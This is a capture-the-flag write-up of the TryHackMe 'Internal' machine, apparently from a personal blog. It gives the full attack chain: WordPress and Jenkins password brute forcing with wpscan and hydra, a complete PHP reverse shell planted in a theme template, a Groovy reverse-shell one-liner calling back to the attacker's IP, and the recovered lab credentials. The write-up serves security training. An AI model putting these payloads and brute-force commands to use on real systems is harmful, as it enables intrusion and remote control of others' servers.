root💀n16hth4wk-sec:~#

Hack Enumerate Harder!. Eat. Sleep. Repeat.

View on GitHub

image

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks. 

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test).  The client has asked that you secure two flags (no location provided) as proof of exploitation:

    User.txt
    Root.txt

Additionally, the client has provided the following scope allowances:

    Ensure that you modify your hosts file to reflect internal.thm
    Any tools or techniques are permitted in this engagement
    Locate and note all vulnerabilities found
    Submit the flags discovered to the dashboard
    Only the IP address assigned to your machine is in scope

(Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.


Note - this room can be completed without Metasploit

First we start with nmap scan.

# Nmap 7.92 scan initiated Sun Oct  9 12:52:29 2022 as: nmap -sC -sV -T4 -oN quickmap.txt -Pn 10.10.202.145
Warning: 10.10.202.145 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.202.145
Host is up (0.24s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp   open     http            Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
1088/tcp filtered cplscrambler-al
1718/tcp filtered h323gatedisc
6129/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct  9 12:53:09 2022 -- 1 IP address (1 host up) scanned in 39.85 seconds

We have http and ssh ports open, let’s enumerate http.

image

cool it’s running apache web service, let burst hidden directories

┌──(n16hth4wk㉿n16hthawk-sec)-[~/Documents/THM/Internal]
└─$ ffuf -u "http://10.10.202.145/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.202.145/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

blog                    [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 198ms]
index.html              [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 185ms]
javascript              [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 210ms]
phpmyadmin              [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 208ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 181ms]
wordpress               [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 200ms]
:: Progress: [4713/4713] :: Job [1/1] :: 225 req/sec :: Duration: [0:01:34] :: Errors: 80 ::

let’s check the dir path /blog

image

The page path /blog seems to be running wordpress cms, let’s enumerate with wpscan.

┌──(n16hth4wk㉿n16hthawk-sec)-[~/Documents/THM/Internal]                                                                                                              
└─$ wpscan --url http://10.10.202.145/blog/ --enumerate u  

Enumerating for usernames on the wordpress blog and we got only one which is admin .

image

Let’s try bruteforce the user password for the user admin

┌──(n16hth4wk㉿n16hthawk-sec)-[~/Documents/THM/Internal]
└─$ wpscan --url http://10.10.202.145/blog/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt 

Password found, we bruteforce a valid password for user admin password: my2boys

image

Dont forget to add the hostname internal.thm to our /etc/hosts file

image

Now let’s login wp-admin with the creds we found username: admin, password: my2boys

image

We are in, let’s upload our shell. first click on Apperence, then go to the theme editor, click on 404 templates

image

Edit the contents of 404 templates, put the revserse shell payload and click on update file to save it

image

Reverse Shell Payload

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.8.12.222';
$port = 1337;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Netcat listener ready

image

Now let’s locate our shell

it is in the path internal.thm/blog/wp-content/themes/twentyseventeen/404.php

image

Check Back on our ncat listener we got a revshell

image

Let’s Stablize the shell

image

python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo;fg
export TERM=xterm

we got a stable shell, now let’s escalate privs to root. checking for suid find / -perm -u=s -type f 2>/dev/null

image

we got nothing useful so let’s play around checking every possible directory to see what we can escalate prives with.

image

Got something intresting in the /opt directory, that seems to be an ssh creds so let’s try out ssh with them .

image

Cool we got in ssh with those creds, let’s find user.txt flag .

image

and we also have jenkins.txt, let’s check the content of jenkins.txt .

image

hmmmm… that could be a hint for us to root the box .

image

tried sudo -l but user aubreanna may not run sudo on internal. Let’s check for processes running using netstat -ano .

image

we can see there’s an http server on port 8080 running locally in the machine. Let’s do port forwarding to our attacker machine for us to know what is running on that port.

image

ssh -L 8080:127.0.0.1:8080 aubreanna@internal.thm

Now let’s check the process 127.0.0.1:8080 on our browser since we already port forwarded it to our attacker machine.

image

great we can see it is running a jenkins http service, trying default and common creds did not work, let’s bruteforce the login page using hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

image

we got the username and password, let’s login

image

We are in, let’s upload a shell. Navigate to the /script directory

image

using a groovy script revshell payload

String host="10.8.12.222";int port=1337;String cmd="sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Ncat listener ready

image

paste the reverse shell payload and run it

image

Check back ncat listener and we got a shell

image

Let’s stabilize and escalate out privs to root

image

we got a stable shell, let’s play around checking every possible directories for creds or hint

image

we got some creds for rootin /opt directory, let’s ssh with those creds username:root and password:tr0ub13guM!@#123

image

we are in as root let’s find the root flag

image

There we have our root flag… Hope you had fun 😉